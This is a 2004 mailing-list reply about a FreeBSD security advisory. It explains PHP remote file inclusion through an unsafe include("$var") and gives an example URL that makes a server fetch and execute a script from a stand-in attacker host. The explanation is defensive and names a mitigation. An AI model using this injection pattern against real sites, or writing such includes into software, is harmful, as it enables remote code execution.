I think I may have seen such thing before as well... not a freebsd problem though... It's php's own fault. php comes with url_fopen enabled by default, so if someone write a script.php with something like: include ("$var"); One could call the http://goodguys.com/script.php?var=http://badguys.com/malicious_script.txt the text of malicious_script.php hosted remotely would be included in scrip.php, and any arbitrary code would be executed with www privileges. just disabling url_fopen in php.ini would prevent that. If this is not what you have seen, please, I'd like to know more about it. Thank you ;) ----- Original Message ----- From: "Ryan Thompson" <[email protected]> To: <[email protected]> Sent: Wednesday, August 11, 2004 2:07 PM Subject: FreeBSD-SA-04:13.linux in the wild > > Has anyone else seen this in the wild? > > We just had an attempted attack yesterday from a live attacker on one of > our machines using this vulnerability.
